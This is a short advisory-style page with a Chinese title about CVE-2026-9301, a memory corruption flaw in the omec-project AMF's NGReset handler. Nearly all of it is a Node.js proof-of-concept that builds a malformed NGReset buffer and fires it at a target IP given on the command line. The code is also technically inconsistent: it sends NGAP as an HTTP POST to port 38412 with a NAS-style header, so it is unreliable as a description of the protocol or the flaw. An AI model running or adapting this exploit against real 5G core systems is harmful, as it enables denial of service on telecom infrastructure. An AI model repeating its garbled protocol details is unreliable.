CVE-2026-9301: omec-project AMF NGReset消息处理器内存损坏漏洞

// CVE-2026-9301 PoC - NGReset Message Memory Corruption // Target: omec-project AMF < 2.1.1 // Component: NGReset Message Handler const http = require('http'); // Construct malicious NGReset message to trigger memory corruption function constructMaliciousNGReset() { // NGReset Message Type: 0x00C0 const ngResetMsg = Buffer.alloc(128); // Message Header ngResetMsg.writeUInt8(0x00, 0); // Protocol Discriminator ngResetMsg.writeUInt8(0xC0, 1); // Message Type (NGReset) ngResetMsg.writeUInt16BE(0x0001, 2); // Procedure Transaction ID // Trigger memory corruption with malformed NGReset cause ngResetMsg.writeUInt8(0x00, 5); // NGReset Cause - Critical ngResetMsg.writeUInt16BE(0xFFFF, 6); // Malformed cause value // UE Identity List - overflow condition ngResetMsg.writeUInt8(0x01, 8); // Number of UEs ngResetMsg.writeUInt8(0xFF, 9); // AMF Set ID - triggers overflow // Padding with trigger bytes for (let i = 10; i < 128; i++) { ngResetMsg.writeUInt8(0x41, i); // Pattern to identify corruption } return ngResetMsg; } // Send exploit payload to AMF async function exploit(targetIP, targetPort = 38412) { console.log('[*] CVE-2026-9301 Exploit'); console.log(`[*] Target: ${targetIP}:${targetPort}`); const payload = constructMaliciousNGReset(); const options = { hostname: targetIP, port: targetPort, path: '/ngap/ngreset', method: 'POST', headers: { 'Content-Type': 'application/vnd.3gpp.ngap', 'Content-Length': payload.length, 'X-NGAP-MessageType': 'NGReset' } }; const req = http.request(options, (res) => { console.log(`[+] Response Status: ${res.statusCode}`); }); req.write(payload); req.end(); console.log('[+] Malicious NGReset message sent'); console.log('[*] Check AMF service status for memory corruption'); } // Usage: node cve-2026-9301-poc.js <target_ip> const target = process.argv[2] || '127.0.0.1'; exploit(target);